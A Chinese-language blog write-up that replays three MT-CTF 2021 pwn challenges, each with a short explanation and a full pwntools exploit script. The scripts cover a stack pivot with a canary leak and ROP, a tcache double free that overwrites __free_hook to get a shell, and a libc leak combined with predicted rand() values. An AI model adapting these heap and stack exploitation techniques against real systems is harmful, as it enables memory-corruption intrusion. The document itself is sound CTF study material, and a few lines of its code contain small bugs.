MT-CTF2021复现
196082 慢慢好起来

比赛当天给我哥过生日去了,没时间打比赛,下来复现比赛发现三道pwn题的难度都不是很难,除了最后一道,还没想到预期解,只能跟着wp做一遍非预期解

babyrop

预备知识

栈迁移

流程分析

程序的流程比较简单,首先存在一个字节的溢出,可以查看canary。然后让你比较password的地址,就可以进入漏洞函数。但是漏洞函数只存在八个字节的溢出

利用分析

因为我们只能溢出一个所以直接构造ROP是行不通的,所以考虑把ROP写到bss上面,直接放exp吧。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

elf = ELF('./babyrop')
libc = ELF('./libc-2.27.so')
r = process('./babyrop')

context.log_level = 'debug'
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

main_addr = elf.symbols['main']
pop_rdi_ret = 0x0000000000400913
ret_addr = 0x0000000000400284
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
fake_stack = elf.bss()+0x320
vuln_addr = 0x40072C

r.recvuntil(b'What your name? ')
r.sendline(b'a'*(0x20-0x8+1))

# gdb.attach(r)

print(r.recvuntil(b'a'*(0x20-0x8+1)))
# canary = (b'\x00'+r.recvuntil(b', welcome to this challenge!\n'))
canary = u64(b'\x00'+r.recv(7))
print(hex(canary))
# print(u64(r.recvuntil(b', welcome to this challenge!\n', drop=True).ljust(8, b'\x00')))
r.recvuntil(b'Please input the passwd to unlock this challenge')
r.sendline(b'4196782')
payload = b'a'*(0x20-0x8)+p64(canary)+p64(fake_stack)+p64(vuln_addr)
r.recvuntil(b'OK!\nNow, you can input your message')

r.sendline(payload)

payload = p64(puts_got_addr)+p64(puts_plt_addr)+p64(vuln_addr) + \
p64(canary)+p64(fake_stack-0x30)+p64(vuln_addr)
r.send(payload)
# gdb.attach(r)
payload = b'a'*(0x20-0x8)+p64(canary)+p64(fake_stack-0x20)+p64(pop_rdi_ret)
r.send(payload)
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr-libc.symbols['puts']
one_gadget = libc_base+0x4f3d5
payload = b'a'*0x18+p64(canary)+p64(0)+p64(one_gadget)
r.send(payload)

r.interactive()

book_shop

流程分析

题目创建chunk的大小是固定的,并且libc的版本存在tcache,并且只有create存在写入内存的功能

利用分析

首先创建十一个大小为fastbin以内的chunk,释放7个chunk占满tcache,随后释放两个连续的chunk进入fastbin,然后触发malloc_consolidate使fastbin里的chunk合并进入unsortedbin,众所周知,unsortedbin只有一个chunk时,他的fd和bk都指向了main_arena,又因为存在UAF所以直接可以泄漏出libc的加载地址。然后再利用double free释放两个chunk进入fastbin,此时create七个chunk将tcache腾空,那么fastbin的chunk会进入tcache,接着利用double free修改tcache最后那个chunk的fd指针到__free_hook,因为tcache对于安全检测几乎没有就可以直接篡改掉__free_hook然后getshell。下面放出exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

r = process('./bookshop')
elf = ELF('./bookshop')
libc = ELF('./libc-2.31.so')

r.recvuntil(b'The lucky number?\n')
r.sendline(bytes(str(0x68), encoding='utf8'))


def create(content):
r.recvuntil(b'>> ')
r.sendline(b'1')
r.recvuntil(b'> ')
r.send(content)


def show(id):
r.recvuntil(b'>> ')
r.sendline(b'3')
r.recvuntil(b'Which Book do you want to read?')
r.sendline(bytes(str(id), encoding='utf-8'))


def delete(id):
r.recvuntil(b'>> ')
r.sendline(b'2')
r.recvuntil(b'Which Book do you want to take out from you bag?')
r.sendline(bytes(str(id), encoding='utf-8'))


for i in range(11):
create(b'a')

for i in range(7):
delete(6-i)

delete(7)
delete(8)

r.recvuntil(b'>> ')
r.sendline(b'0'*0x400)

show(7)
r.recvuntil(b'Content: ')
main_arena = u64(r.recv(6).ljust(8, b'\x00'))
print(hex(main_arena))
main_arena = main_arena-304
print(hex(main_arena))
# print(u64(r.recv(6).ljust(8, b'\x00')))
libc_base = main_arena-(next(libc.search(b'main_arena'))+0x3365f)
print(hex(libc_base))

delete(10)
delete(8)
delete(10)

for i in range(7):
create(b'a')
free_hook = libc_base+libc.symbols['__free_hook']
print(hex(free_hook))
create(p64(free_hook-8))
create(p64(0))
system_addr = libc_base+libc.symbols['system']
create(b'/bin/sh\x00'+p64(system_addr))
create(b'/bin/sh\x00'+p64(system_addr))

delete(20)
# gdb.attach(r)

r.interactive()

blind_box

流程分析

这道题目的libc版本依旧存在tcache,但是题目已经给了后门函数,非预期解就是在show函数的检测只检测了libc为0x7f的情况,但是libc存在0x7e所以直接可以泄漏出libc地址,非预期解很简单,但是预期解我下去再想想。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from ctypes import cdll

elf = ELF('./Blindbox')
libc = ELF('./libc-2.31.so')
r = process('./Blindbox')

context.log_level = 'debug'

r.recvuntil(b'Please tell me your name:')
r.sendline(b'196082')
r.recvuntil(b'The first lucky number?')
r.sendline(bytes(str(0x100), encoding='utf8'))
r.recvuntil(b'The second lucky number?')
r.sendline(bytes(str(0x100), encoding='utf8'))
r.recvuntil(b'The third lucky number?')
r.sendline(bytes(str(0x100), encoding='utf8'))


def create(id):
r.recvuntil(b'>> ')
r.sendline(b'1')
r.recvuntil(b'>> ')
r.sendline(b'1')
r.recvuntil(b'Give index for this Blindbox(1-3): ')
r.sendline(bytes(str(id), encoding='utf8'))


def drop(id):
r.recvuntil(b'>> ')
r.sendline(b'2')
r.recvuntil(b'Which index do you want to drop?')
r.sendline(bytes(str(id), encoding='utf8'))


def show(id):
r.recvuntil(b'>> ')
r.sendline(b'3')
r.recvuntil(b'Which Blindbox do you want to open?')
r.sendline(bytes(str(id), encoding='utf8'))


for i in range(7):
create(1)
drop(1)

create(1)
create(2)
drop(1)

gdb.attach(r)

show(1)

r.recvuntil(b'Content of this Blindbox: ')
main_arena = u64(r.recv(6).ljust(8, '\x00'))-96
libc_base = main_arena-next(libc.search(b'main_arena'))
system_addr = libc_base+libc.symbols['system']

objdll = cdll.LoadLibrary('./libc-2.31.so')
objdll.srand(0)
for i in range(7):
r.recvuntil(b"Round "+bytes(str(i), encoding='utf8')+b" Please guess>")
res = system_addr ^ objdll.rand()
r.sendline(bytes(str(res), encoding='utf8'))

r.interactive()
 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量